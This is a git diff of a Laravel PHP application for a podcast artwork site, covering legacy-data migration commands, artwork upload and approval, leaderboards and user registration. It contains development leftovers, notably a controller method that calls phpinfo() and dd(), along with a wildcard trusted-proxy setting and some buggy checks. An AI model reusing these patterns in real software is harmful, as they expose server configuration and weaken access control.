->where('title', $legacyArtwork->title)
->count();
$thumbnailExists = false;
$artExists = false;
dump($artworkExists);
dump([$thumbnailName, $artworkName]);
if (Storage::disk('static')->exists($thumbnailName)) {
$this->line('Thumbnail already exists.');
$thumbnailExists = true;
}
if (Storage::disk('static')->exists($artworkName)) {
$this->line('Artwork already exists.');
$artExists = true;
}
dump([$thumbnailExists, $artExists]);
if (!$artworkExists) {
$artwork = Artwork::factory()->state([
'title' => $legacyArtwork->title,
'artist_id' => $artist->id,
'description' => null,
'overlay_id' => null,
'podcast_id' => $podcast->id,
'episode_id' => $episode->id,
'approved_by' => 4,
'filename' => $basename,
'legacy_filename' => $legacyArtwork->path . '/' . $legacyArtwork->filename,
'legacy_id' => $legacyArtwork->id,
'created_at' => $legacyArtwork->created_at,
'updated_at' => $legacyArtwork->created_at,
])->create();
$img = Image::make('/var/www/html/naartgen/podcastartgenerator/static' . $artwork->legacy_filename)
->resize(3000, null, function($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100)
->save(Storage::disk('static')->path('/artworks') . '/' . $artwork->filename);
$thumbImg = Image::make('/var/www/html/naartgen/podcastartgenerator/static' . $artwork->legacy_filename)
->resize(512, null, function($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100)
->save(Storage::disk('static')->path('/thumbnails') . '/' . $artwork->filename);
ImageOptimizer::optimize(Storage::disk('static')->path('/artworks/' . $artwork->filename));
ImageOptimizer::optimize(Storage::disk('static')->path('/thumbnails/' . $artwork->filename));
dump($artwork);
}
}
}

View File

@@ -0,0 +1,46 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use App\Models\Artwork;
class LegacyNginxMappingCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:legacy-nginx-mapping';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Command description';
/**
* Execute the console command.
*/
public function handle()
{
$oldLocations = [];
$newLocations = [];
$this->line('# legacy_mappings.conf');
$this->line('');
$this->line('map $uri $new_location {');
$artworks = Artwork::whereNotNull('legacy_filename')->get();
foreach ($artworks as $artwork) {
if (!in_array($artwork->legacy_filename, $oldLocations) && !in_array($artwork->legacy_filename, $newLocations)) {
$oldLocations[] = $artwork->legacy_filename;
$newLocations[] = $artwork->legacy_filename;
$this->line(' "' . $artwork->legacy_filename . '" "/legacy-asset/?legacy_filename=' . urlencode($artwork->legacy_filename) . '";');
}
}
$this->line(' default $uri;');
$this->line('}');
$this->line('');
}
}

View File

@@ -0,0 +1,60 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Http;
use App\Models\Artwork;
use App\Models\Episode;
class MapLegacyArtworkToLegacyEpisodeCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:map-legacy';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Maps legacy artwork to the legacy episode it related to.';
/**
* Execute the console command.
*/
public function handle()
{
$artworks = Artwork::whereNotNull('legacy_id')->get();
foreach ($artworks as $artwork) {
if ($artwork->id > 76200) {
$legacyDetailResponse = $this->getArtworkInfoFromApi($artwork->legacy_id);
$response = $legacyDetailResponse->object();
if ($response->artwork->episode_id) {
$episode = Episode::where('legacy_id', $response->artwork->episode_id)->first();
if ($episode) {
$artwork->episode_id = $episode->id;
$this->line('Artwork ID ' . $artwork->id . ' is mapped to Episode ID ' . $episode->id);
if ($artwork->isDirty()) {
$this->line('This is a new mapping.');
$artwork->save();
}
}
}
}
}
}
private function getArtworkInfoFromApi($artwork_legacy_id) {
$response = Http::timeout(180)
->get('https://noagendaartgenerator.com/artworkapi/' . $artwork_legacy_id,
[
'p' => '7476',
]
);
return $response;
}
}

View File

@@ -0,0 +1,59 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Http;
use App\Models\Artwork;
use App\Models\Episode;
class MapSelectedLegacyArtworkToEpisode extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:map-selected';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Maps the correct artwork selected to the legacy episodes';
/**
* Execute the console command.
*/
public function handle()
{
$episodes = Episode::all();
foreach ($episodes as $episode) {
$this->line('Checking episode ' . $episode->episode_number);
$legacyEpisodeResponse = $this->getEpisodeFromApi($episode->episode_number);
$response = $legacyEpisodeResponse->object();
if ($response->episode->artwork_id && $response->episode->artwork_id + 0 > 0) {
$selectedArtwork = Artwork::where('legacy_id', $response->episode->artwork_id)->first();
if ($selectedArtwork) {
$episode->artwork_id = $selectedArtwork->id;
$this->line('Artwork ID ' . $selectedArtwork->id . ' marked as episode artwork for episode ' . $episode->episode_number);
if ($episode->isDirty()) {
$this->line('This is a new mapping.');
$episode->save();
}
}
}
}
}
private function getEpisodeFromApi($episode_legacy_id) {
$response = Http::timeout(180)
->get('https://noagendaartgenerator.com/episodeapi/' . $episode_legacy_id,
[
'p' => '7476',
]
);
return $response;
}
}

View File

@@ -0,0 +1,38 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use App\Models\Artwork;
use App\Models\Episode;
use Illuminate\Support\Facades\DB;
class RefreshLeaderBoardCacheCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:leaderboard-cache';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Clears all leaderboard caches.';
/**
* Execute the console command.
*/
public function handle()
{
$this->line('Clearing Leaderboard Caches...');
cache()->forget('leaderboardTwelveMonths');
cache()->forget('leaderboardTwelveMonthsLanding');
cache()->forget('leaderboardAllTime');
cache()->forget('leaderboardRollingSixMonth');
cache()->forget('leaderboardNinetyDays');
}
}

View File

@@ -12,7 +12,8 @@ class Kernel extends ConsoleKernel
*/ */
protected function schedule(Schedule $schedule): void protected function schedule(Schedule $schedule): void
{ {
// $schedule->command('inspire')->hourly(); $schedule->command('backup:run --only-db')
->hourlyAt(01);
} }
/** /**

View File

@@ -0,0 +1,27 @@
<?php
if (!function_exists('numberSuffix')) {
function numberSuffix($number) {
if (!is_int($number) || $number < 1) {
return $number;
}
$lastDigit = $number % 10;
$secondLastDigit = ($number / 10) % 10;
if ($secondLastDigit == 1) {
return 'th';
}
switch ($lastDigit) {
case 1:
return 'st';
case 2:
return 'nd';
case 3:
return 'rd';
default:
return 'th';
}
}
}

View File

@@ -3,7 +3,13 @@
namespace App\Http\Controllers; namespace App\Http\Controllers;
use App\Models\Artist; use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Podcast;
use App\Models\Episode;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Http\RedirectResponse;
use Illuminate\Support\Facades\Validator;
use Illuminate\Validation\Rule;
class ArtistController extends Controller class ArtistController extends Controller
{ {
@@ -14,7 +20,19 @@ class ArtistController extends Controller
*/ */
public function index() public function index()
{ {
// $user = auth()->user();
$artists = Artist::whereHas('artworks')
->withCount('artworks')
->withCount('episodes')
->orderBy('artworks_count', 'desc')
->paginate(100);
$podcasts = Podcast::where('published', true)->get();
return view('profile.artists', [
'user' => $user,
'pageTitle' => 'Artists',
'podcasts' => $podcasts,
'artists' => $artists,
]);
} }
/** /**
@@ -44,9 +62,26 @@ class ArtistController extends Controller
* @param \App\Models\Artist $artist * @param \App\Models\Artist $artist
* @return \Illuminate\Http\Response * @return \Illuminate\Http\Response
*/ */
public function show(Artist $artist) public function show(Request $request, $slug)
{ {
// $user = auth()->user();
$artist = Artist::where('slug', $slug)
->withCount('episodes')
->withCount('artworks')
->firstOrFail();
$artworks = Artwork::where('artist_id', $artist->id)
->with('episode')
->with('podcast')
->whereNotNull('approved_by')
->orderBy('artworks.created_at', 'desc')
->paginate($perPage = 92, $columns = ['*'], $pageName = 'artworks');
$podcasts = Podcast::where('published', true)->with('episodes')->get();
return view('profile.artist', [
'user' => $user,
'artist' => $artist,
'artworks' => $artworks,
'podcasts' => $podcasts,
]);
} }
/** /**
@@ -69,7 +104,30 @@ class ArtistController extends Controller
*/ */
public function update(Request $request, Artist $artist) public function update(Request $request, Artist $artist)
{ {
// $user = auth()->user();
$artist = $user->artists->first();
$rules = [
'location' => ['string', 'max:255'],
'alby' => ['email'],
'website' => ['url'],
'nasocial' => ['starts_with:@'],
'name' => ['string', 'unique:artists', 'max:255'],
];
$validator = Validator::make($request->all(), $rules);
if ($validator->fails()) {
return back()
->withErrors($validator)
->withInput();
}
$artist->location = $request->location;
$artist->alby = $request->alby;
$artist->website = $request->website;
$artist->nasocial = $request->nasocial;
$artist->name = $request->name;
if ($artist->isDirty()) {
$artist->save();
}
return redirect('/profile');
} }
/** /**

View File

@@ -3,7 +3,20 @@
namespace App\Http\Controllers; namespace App\Http\Controllers;
use App\Models\Artwork; use App\Models\Artwork;
use App\Models\Podcast;
use App\Models\Episode;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Http\RedirectResponse;
use Illuminate\Support\Facades\Validator;
use Illuminate\Validation\Rules\File;
use Illuminate\Validation\Rule;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
use Intervention\Image\Facades\Image;
use Illuminate\Support\Facades\Cache;
use ImageOptimizer;
class ArtworkController extends Controller class ArtworkController extends Controller
{ {
@@ -14,7 +27,23 @@ class ArtworkController extends Controller
*/ */
public function index() public function index()
{ {
// $user = auth()->user();
$artworks = Artwork::whereNotNull('approved_by')
->join('episodes', 'artworks.episode_id', '=', 'episodes.id')
->select('artworks.*', DB::raw('episodes.episode_number episode_number'))
->with('artist')
->with('podcast')
->with('episode')
->orderBy('episode_number', 'desc')
->orderBy('artworks.created_at', 'desc')
->paginate($perPage = 52, $columns = ['*'], $pageName = 'artworks');
$podcasts = $this->publishedPodcasts();
return view('explore.artworks', [
'user' => $user,
'pageTitle' => 'Explore',
'artworks' => $artworks,
'podcasts' => $podcasts,
]);
} }
/** /**
@@ -22,9 +51,59 @@ class ArtworkController extends Controller
* *
* @return \Illuminate\Http\Response * @return \Illuminate\Http\Response
*/ */
public function create() public function create(Request $request)
{ {
// $user = auth()->user();
$podcasts = $this->publishedPodcasts();
$request->session()->flash('success', '<h4>PLEASE READ!</h4>
<p>When you submit your artwork, it will be stored for approval,
this is because malicious users were using the site to dox and
other vile behaviors. You will not see it in the list of artworks
until it has been approved.</p>
<h4>YOU DON\'T HAVE TO SUBMIT IT MULTIPLE TIMES!</h4>');
return view('artworks.submit', [
'user' => $user,
'pageTitle' => 'Submit New Artwork',
'podcasts' => $podcasts,
]);
}
public function pendingApproval(Request $request)
{
$user = auth()->user();
if ($request->user()->cannot('approve', Artwork::class)) {
abort(403);
}
$artworks = Artwork::whereNull('approved_by')
->orderBy('created_at', 'desc')
->paginate(50);
$podcasts = $this->publishedPodcasts();
return view('artworks.approvals', [
'user' => $user,
'pageTitle' => 'Approve Artworks',
'podcasts' => $podcasts,
'artworks' => $artworks,
]);
}
public function approve(Request $request)
{
$user = $request->user();
if ($request->user()->cannot('approve', Artwork::class)) {
abort(403);
}
$validated = $request->validate([
'artwork_id' => 'required|exists:artworks,id'
]);
$artwork = Artwork::find($request->artwork_id);
if ($artwork->artist_id == $user->artists->first()->id) {
return redirect('/approve-artwork');
}
if (is_null($artwork->approved_by)) {
$artwork->approved_by = $user->artists->first()->id;
$artwork->save();
}
return redirect('/approve-artworks');
} }
/** /**
@@ -33,20 +112,100 @@ class ArtworkController extends Controller
* @param \Illuminate\Http\Request $request * @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response * @return \Illuminate\Http\Response
*/ */
public function store(Request $request) public function store(Request $request): RedirectResponse
{ {
// $validator = Validator::make($request->all(), [
'title' => ['required', 'max:255',],
'podcast' => ['required', 'exists:podcasts,id',],
'description' => ['nullable',],
'file' => ['required', 'image', Rule::dimensions()->ratio(1)->minWidth(512),],
]);
if ($validator->fails()) {
return back()
->withErrors($validator)
->withInput();
}
Log::channel('artwork_import')->info('making new artwork model.');
$podcast = Podcast::where('id', $request->podcast)->with(['episodes' => function($query) {
$query->orderBy('episode_number', 'desc')->limit(1);
}])->first();
$episode = $podcast->episodes->first();
$artist = auth()->user()->artists()->first();
$rawFile = $request->file('file');
$yearDirectory = now()->format('Y');
$monthDirectory = now()->format('m');
$indexPath = $yearDirectory . '/' . $monthDirectory . '/index.htm';
$imgDirExists = Storage::disk('static')->exists('artworks/' . $indexPath);
$thumbDirExists = Storage::disk('static')->exists('thumbnails/' . $indexPath);
if (!$imgDirExists) {
Storage::disk('static')->put('artworks/' . $indexPath, '');
}
if (!$thumbDirExists) {
Storage::disk('static')->put('thumbnails/' . $indexPath, '');
}
$filename = $yearDirectory
. '/'
. $monthDirectory
. '/'
. Str::slug($artist->name)
. '-'
. Str::slug($request->title)
. '_'
. Str::random(8)
. '.jpg';
$artwork = Artwork::factory()->state([
'title' => $request->title,
'artist_id' => $artist->id,
'description' => $request->description,
'overlay_id' => null,
'podcast_id' => $podcast->id,
'episode_id' => $episode->id,
'filename' => $filename,
'created_at' => now(),
'updated_at' => now(),
])->create();
$img = Image::make($rawFile)->resize(3000, null, function($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100)
->save(Storage::disk('static')->path('/artworks') . '/' . $artwork->filename);
$thumbImg = Image::make($request->file('file'))->resize(512, null, function($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100)
->save(Storage::disk('static')->path('/thumbnails') . '/' . $artwork->filename);
ImageOptimizer::optimize(Storage::disk('static')->path('/artworks/' . $artwork->filename));
ImageOptimizer::optimize(Storage::disk('static')->path('/thumbnails/' . $artwork->filename));
$request->session()->flash('success', '<h4>Your artwork has been submitted successfully</h4><p>Someone with permission will approve it for public consumption shortly, <strong>you do not need to submit it again.</strong> - TYFYC and ITM!</p>');
return redirect('/artworks');
} }
/** /**
* Display the specified resource. * Display the specified resource.
* *
* @param \App\Models\Artwork $artwork * @param \Illuminate\Http\Request $request
* @param the id of the \App\Models\Artwork $id
* @return \Illuminate\Http\Response * @return \Illuminate\Http\Response
*/ */
public function show(Artwork $artwork) public function show(Request $request, $id)
{ {
// $user = auth()->user();
$artwork = Artwork::with(['podcast', 'episode', 'artist'])->find($id);
if (!$artwork) {
abort(404);
}
if (is_null($artwork->approved_by) && $user && $user->id != $artwork->id) {
return redirect('artworks');
}
if (is_null($artwork->approved_by) && !$user) {
return redirect('artworks');
}
return view('artworks.artwork', [
'artwork' => $artwork,
'user' => $user,
]);
} }
/** /**
@@ -82,4 +241,40 @@ class ArtworkController extends Controller
{ {
// //
} }
public function legacyArtLink(Request $request, $any = null)
{
phpinfo();
dd($request->path());
//$artwork = Artwork::where('legacy_filename', '/assets/artwork/')
}
public function downloadArchiveList(Request $request, $type = 'sd')
{
$artworks = Artwork::whereNotNull('approved_by')
->orderBy('created_at', 'desc')
->pluck('filename');
$output = '';
if ($type == 'sd') {
foreach($artworks as $artwork) {
$output .= '"https://static.noagendaartgenerator.com/thumbnails/' . $artwork . '"' . "\r\n";
}
} else {
foreach($artworks as $artwork) {
$output .= '"https://static.noagendaartgenerator.com/artworks/' . $artwork . '"' . "\r\n";
}
}
return response($output, 200)
->header('Content-type', 'text/plain')
->header('Content-Length', strlen($output))
->header('Content-Disposition', 'attachment; filename="naartgen-archivelist-' . $type . '.txt"');
}
private function publishedPodcasts() {
$podcasts = Cache::remember('publishedPodcasts', 30, function() {
return Podcast::where('published', true)->get();
});
return $podcasts;
}
} }

View File

@@ -26,7 +26,7 @@ class PasswordResetLinkController extends Controller
public function store(Request $request): RedirectResponse public function store(Request $request): RedirectResponse
{ {
$request->validate([ $request->validate([
'email' => ['required', 'email'], 'email' => ['required', 'email', 'exists:users,email'],
]); ]);
// We will send the password reset link to this user. Once we have attempted // We will send the password reset link to this user. Once we have attempted

View File

@@ -4,10 +4,12 @@ namespace App\Http\Controllers\Auth;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\User; use App\Models\User;
use App\Models\Artist;
use App\Providers\RouteServiceProvider; use App\Providers\RouteServiceProvider;
use Illuminate\Auth\Events\Registered; use Illuminate\Auth\Events\Registered;
use Illuminate\Http\RedirectResponse; use Illuminate\Http\RedirectResponse;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Hash;
use Illuminate\Validation\Rules; use Illuminate\Validation\Rules;
@@ -31,17 +33,24 @@ class RegisteredUserController extends Controller
public function store(Request $request): RedirectResponse public function store(Request $request): RedirectResponse
{ {
$request->validate([ $request->validate([
'name' => ['required', 'string', 'max:255'], 'name' => ['unique:artists,name', 'required', 'string', 'max:255'],
'email' => ['required', 'string', 'email', 'max:255', 'unique:'.User::class], 'email' => ['required', 'string', 'email', 'max:255', 'unique:'.User::class],
'password' => ['required', 'confirmed', Rules\Password::defaults()], 'password' => ['required', 'confirmed', Rules\Password::defaults()],
]); ]);
$user = User::create([ $user = User::create([
'name' => $request->name, 'name' => trim($request->name),
'email' => $request->email, 'email' => trim(strtolower($request->email)),
'password' => Hash::make($request->password), 'password' => Hash::make($request->password),
]); ]);
$artist = Artist::create([
'user_id' => $user->id,
'name' => trim($request->name),
'slug' => Str::slug(trim($request->name)),
'location' => 'No Agenda Nation',
]);
event(new Registered($user)); event(new Registered($user));
Auth::login($user); Auth::login($user);

View File

@@ -2,8 +2,12 @@
namespace App\Http\Controllers; namespace App\Http\Controllers;
use App\Models\Episode;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use App\Models\Podcast;
use App\Models\Artworks;
use App\Models\Episode;
class EpisodeController extends Controller class EpisodeController extends Controller
{ {
@@ -44,9 +48,27 @@ class EpisodeController extends Controller
* @param \App\Models\Episode $episode * @param \App\Models\Episode $episode
* @return \Illuminate\Http\Response * @return \Illuminate\Http\Response
*/ */
public function show(Episode $episode) public function show(Request $request, $podcast_slug, $slug)
{ {
// $user = auth()->user();
$episode = Episode::where('slug', $slug)
->with('approvedArtworks')
->with('artwork')
->with('podcast')
->firstOrFail();
$podcasts = Podcast::where('published', true)->with('episodes', function ($query) {
$query->orderBy('episode_number', 'desc');
$query->where('published', true);
$query->take(10);
})->get();
return view('episodes.episode', [
'user' => $user,
'pageTitle' => '"' . $episode->title . '" ' . $episode->podcast->name . ' Episode ' . number_format($episode->episode_number + 0),
'podcast' => $episode->podcast,
'episode' => $episode,
'artworks' => $episode->approvedArtworks,
'podcasts' => $podcasts,
]);
} }
/** /**

View File

@@ -0,0 +1,295 @@
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use App\Models\Artwork;
use App\Models\Artist;
use App\Models\Episode;
class PageController extends Controller
{
public function landing(Request $request)
{
$user = auth()->user();
$headerCounters = $this->getHeaderCounters();
$recentEpisodes = $this->mostRecentEpisodes();
$recentSubmissions = $this->mostRecentSubmissions();
$leaderboard = $this->leaderboardTwelveMonthsLanding();
return view('home.page', [
'user' => $user,
'pageTitle' => 'Home',
'headerCounters' => $headerCounters,
'recentEpisodes' => $recentEpisodes,
'recentSubmissions' => $recentSubmissions,
'leaderboard' => $leaderboard,
'preferredTheme' => $request->session()->get('preferred_theme') ?? 'dark',
]);
}
public function leaderboards(Request $request)
{
$user = auth()->user();
$current_year = now()->format('Y');
$start_year = 2011;
$years = [];
while($start_year < $current_year) {
$years[] = $start_year;
$start_year++;
}
arsort($years);
return view('leaderboards.leaderboards', [
'user' => $user,
'leaderboardAllTime' => $this->leaderboardAllTime(),
'leaderboardPastTwelveMonths' => $this->leaderboardTwelveMonths(),
'leaderboardRollingSixMonths' => $this->leaderboardRollingSixMonths(),
'leaderboardRollingNinetyDays' => $this->leaderboardRollingNinetyDays(),
'leaderboardYears' => $years,
]);
}
public function support(Request $request)
{
return view('home.support.page', [
'user' => auth()->user(),
'pageTitle' => 'History and Support',
'headerCounters' => $this->getHeaderCounters(),
'recentEpisodes' => $this->mostRecentEpisodes(),
'recentSubmissions' => $this->mostRecentSubmissions(),
'leaderboard' => $this->leaderboardTwelveMonthsLanding(),
'preferredTheme' => $request->session()->get('preferred_theme') ?? 'dark',
]);
}
private function mostRecentSubmissions() {
$artworks = Cache::remember('latestSubmissions', 30, function() {
return Artwork::whereNotNull('approved_by')
->with('artist')
->with('episode')
->with('podcast')
->orderBy('created_at', 'desc')
->limit(10)
->get();
});
return $artworks;
}
private function mostRecentEpisodes()
{
$episodes = Cache::remember('latestEpisodes', 30, function() {
return Episode::where('published', true)
->whereHas('artwork')
->with('podcast')
->with('artwork')
->with('artwork.artist')
->orderBy('episode_number', 'desc')
->limit(5)
->get();
});
return $episodes;
}
private function getHeaderCounters()
{
$headerCounters = [];
$artworkCountNumber = Cache::remember('artworkCountNumber', 30, function() {
return Artwork::whereNotNull('approved_by')->count();
});
$artistCountNumber = Cache::remember('artistCountNumber', 30, function() {
return Artist::all()->count();
});
$episodeCountNumber = Cache::remember('episodeCountNumber', 30, function() {
return Episode::all()->count();
});
$headerCounters['Artworks'] = $this->shortNumberCount($artworkCountNumber);
$headerCounters['Artists'] = $this->shortNumberCount($artistCountNumber);
$headerCounters['Episodes'] = $this->shortNumberCount($episodeCountNumber);
return $headerCounters;
}
private function shortNumberCount($number)
{
$units = ['', 'K', 'M', 'B', 'T'];
for ($i = 0; $number >= 1000; $i++) {
$number /= 1000;
}
return [
'number' => $this->numberFormatPrecision($number, 1), //number_format(floatval($number), 1),
'unit' => $units[$i],
];
}
private function numberFormatPrecision($number, $precision = 2, $separator = '.')
{
$numberParts = explode($separator, $number);
$response = $numberParts[0];
if (count($numberParts)>1 && $precision > 0) {
$response .= $separator;
$response .= substr($numberParts[1], 0, $precision);
}
return $response;
}
private function leaderboardByYear($year) {
$leaderboard = cache()->remember('leaderboardForYear' . $year, 30, function() {
$startDate = Carbon::createFromFormat('Y-m-d', $year . '-01-01')->startOfDay()->format('Y-m-d');
$endDate = $startDate->copy()->endOfYear()->format('Y-m-d');
$leaderboard = DB::table('episodes')
->join('artworks', 'artworks.id', '=', 'episodes.artwork_id')
->join('artists', 'artists.id', '=', 'artworks.artist_id')
->select([
DB::raw('artists.id as artistId'),
DB::raw('artists.name as artistName'),
DB::raw('count(artworks.id) as artworkCount')
])
->where('episodes.published', 1)
->where('episodes.episode_date', '>=', $startDate)
->where('episodes.episode_date', '<=', $endDate)
->groupBy('artistId')
->orderByDesc('artworkCount')
->limit(50)
->get();
$leaderboard = $this->addArtistModelToLeaderboard($leaderboard);
return $leaderboard;
});
return $leaderboard;
}
private function leaderboardTwelveMonths() {
$leaderboard = cache()->remember('leaderboardTwelveMonths', 30, function() {
$endDate = now()->endOfDay()->subYear()->format('Y-m-d');
$leaderboard = DB::table('episodes')
->join('artworks', 'artworks.id', '=', 'episodes.artwork_id')
->join('artists', 'artists.id', '=', 'artworks.artist_id')
->select([
DB::raw('artists.id as artistId'),
DB::raw('artists.name as artistName'),
DB::raw('count(artworks.id) as artworkCount')
])
->where('episodes.published', 1)
->where('episodes.episode_date', '>=', $endDate)
->groupBy('artistId')
->orderByDesc('artworkCount')
->limit(50)
->get();
$leaderboard = $this->addArtistModelToLeaderboard($leaderboard);
return $leaderboard;
});
return $leaderboard;
}
private function leaderboardTwelveMonthsLanding() {
$leaderboard = cache()->remember('leaderboardTwelveMonthsLanding', 30, function() {
$endDate = now()->endOfDay()->subYear()->format('Y-m-d');
$leaderboard = DB::table('episodes')
->join('artworks', 'artworks.id', '=', 'episodes.artwork_id')
->join('artists', 'artists.id', '=', 'artworks.artist_id')
->select([
DB::raw('artists.id as artistId'),
DB::raw('artists.name as artistName'),
DB::raw('count(artworks.id) as artworkCount')
])
->where('episodes.published', 1)
->where('episodes.episode_date', '>=', $endDate)
->groupBy('artistId')
->orderByDesc('artworkCount')
->limit(10)
->get();
$leaderboard = $this->addArtistModelToLeaderboard($leaderboard);
return $leaderboard;
});
return $leaderboard;
}
private function leaderboardAllTime() {
$leaderboard = cache()->remember('leaderboardAllTime', 30, function() {
$leaderboard = DB::table('episodes')
->join('artworks', 'artworks.id', '=', 'episodes.artwork_id')
->join('artists', 'artists.id', '=', 'artworks.artist_id')
->select([
DB::raw('artists.id as artistId'),
DB::raw('artists.name as artistName'),
DB::raw('count(artworks.id) as artworkCount')
])
->where('episodes.published', 1)
->groupBy('artistId')
->orderByDesc('artworkCount')
->limit(100)
->get();
$leaderboard = $this->addArtistModelToLeaderboard($leaderboard);
return $leaderboard;
});
return $leaderboard;
}
private function leaderboardRollingSixMonths() {
$leaderboard = cache()->remember('leaderboardRollingSixMonth', 30, function() {
$endDate = now()->endOfDay()->subMonths(6)->format('Y-m-d');
$leaderboard = DB::table('episodes')
->join('artworks', 'artworks.id', '=', 'episodes.artwork_id')
->join('artists', 'artists.id', '=', 'artworks.artist_id')
->select([
DB::raw('artists.id as artistId'),
DB::raw('artists.name as artistName'),
DB::raw('count(artworks.id) as artworkCount')
])
->where('episodes.published', 1)
->where('episodes.episode_date', '>=', $endDate)
->groupBy('artistId')
->orderByDesc('artworkCount')
->limit(50)
->get();
$leaderboard = $this->addArtistModelToLeaderboard($leaderboard);
return $leaderboard;
});
return $leaderboard;
}
private function leaderboardRollingNinetyDays() {
$leaderboard = cache()->remember('leaderboardNinetyDays', 30, function() {
$endDate = now()->endOfDay()->subDays(90)->format('Y-m-d');
$leaderboard = DB::table('episodes')
->join('artworks', 'artworks.id', '=', 'episodes.artwork_id')
->join('artists', 'artists.id', '=', 'artworks.artist_id')
->select([
DB::raw('artists.id as artistId'),
DB::raw('artists.name as artistName'),
DB::raw('count(artworks.id) as artworkCount')
])
->where('episodes.published', 1)
->where('episodes.episode_date', '>=', $endDate)
->groupBy('artistId')
->orderByDesc('artworkCount')
->limit(50)
->get();
$leaderboard = $this->addArtistModelToLeaderboard($leaderboard);
return $leaderboard;
});
return $leaderboard;
}
private function addArtistModelToLeaderboard($leaderboard) {
$artistIds = [];
foreach ($leaderboard as $lb) {
$artistIds[] = $lb->artistId;
}
$artists = Artist::whereIn('id', $artistIds)->get();
foreach ($leaderboard as $lb) {
$lb->artist = $artists->where('id', $lb->artistId)->first();
}
$p = 0;
foreach ($leaderboard as $lb) {
$p++;
$lb->position = $p;
}
return $leaderboard;
}
public function setSessionTheme(Request $request) {
}
}

View File

@@ -3,8 +3,57 @@
namespace App\Http\Controllers; namespace App\Http\Controllers;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
use App\Models\Podcast;
use App\Models\Artworks;
use App\Models\Episode;
use App\Http\Resources\LatestEpisodeResource;
class PodcastController extends Controller class PodcastController extends Controller
{ {
// public function show(Request $request, $slug)
{
$user = auth()->user();
$podcast = Podcast::where('slug', $slug)
->where('published', true)
->firstOrFail();
$episodes = Episode::where('published', true)
->whereNotNull('artwork_id')
->with('artwork')
->with('approvedArtworks')
->where('podcast_id', $podcast->id)
->orderBy('episode_number', 'desc')->paginate(100);
$podcasts = Podcast::where('published', true)->with('episodes')->get();
return view('podcasts.podcast', [
'user' => $user,
'pageTitle' => $podcast->name,
'podcast' => $podcast,
'episodes' => $episodes,
'podcasts' => $podcasts,
]);
}
/**
* Display the latest episode's chosen artwork for third party tools.
*
* @param $slug
* @return \Illuminate\Http\Response
*/
public function latest_artwork(Request $request, $slug)
{
$podcast = Podcast::with('latestArtwork.artist')
->where('slug', $slug)
->where('published', true)
->firstOrFail();
$art = $podcast->latestArtwork;
return new LatestEpisodeResource($podcast);
return response()->json([
'episode_number' => optional($podcast->latestEpisode)->episode_number,
'artwork' => $art,
'artist' => optional($art)->artist,
]);
}
} }

View File

@@ -18,6 +18,8 @@ class ProfileController extends Controller
{ {
return view('profile.edit', [ return view('profile.edit', [
'user' => $request->user(), 'user' => $request->user(),
'artist' => $request->user()->artists->first(),
'avatar' => $request->user()->artists->first()->avatar,
]); ]);
} }

View File

@@ -39,7 +39,7 @@ class Kernel extends HttpKernel
], ],
'api' => [ 'api' => [
// \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class, \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class,
\Illuminate\Routing\Middleware\ThrottleRequests::class.':api', \Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
\Illuminate\Routing\Middleware\SubstituteBindings::class, \Illuminate\Routing\Middleware\SubstituteBindings::class,
], ],

View File

@@ -12,7 +12,7 @@ class TrustProxies extends Middleware
* *
* @var array<int, string>|string|null * @var array<int, string>|string|null
*/ */
protected $proxies; protected $proxies = '*';
/** /**
* The headers that should be used to detect proxies. * The headers that should be used to detect proxies.

View File

@@ -2,12 +2,14 @@
namespace App\Http\Requests\Auth; namespace App\Http\Requests\Auth;
use App\Models\User;
use Illuminate\Auth\Events\Lockout; use Illuminate\Auth\Events\Lockout;
use Illuminate\Foundation\Http\FormRequest; use Illuminate\Foundation\Http\FormRequest;
use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\RateLimiter; use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Support\Str; use Illuminate\Support\Str;
use Illuminate\Validation\ValidationException; use Illuminate\Validation\ValidationException;
use Illuminate\Support\Facades\Hash;
class LoginRequest extends FormRequest class LoginRequest extends FormRequest
{ {
@@ -27,7 +29,7 @@ class LoginRequest extends FormRequest
public function rules(): array public function rules(): array
{ {
return [ return [
'email' => ['required', 'string', 'email'], 'login' => ['required', 'string'],
'password' => ['required', 'string'], 'password' => ['required', 'string'],
]; ];
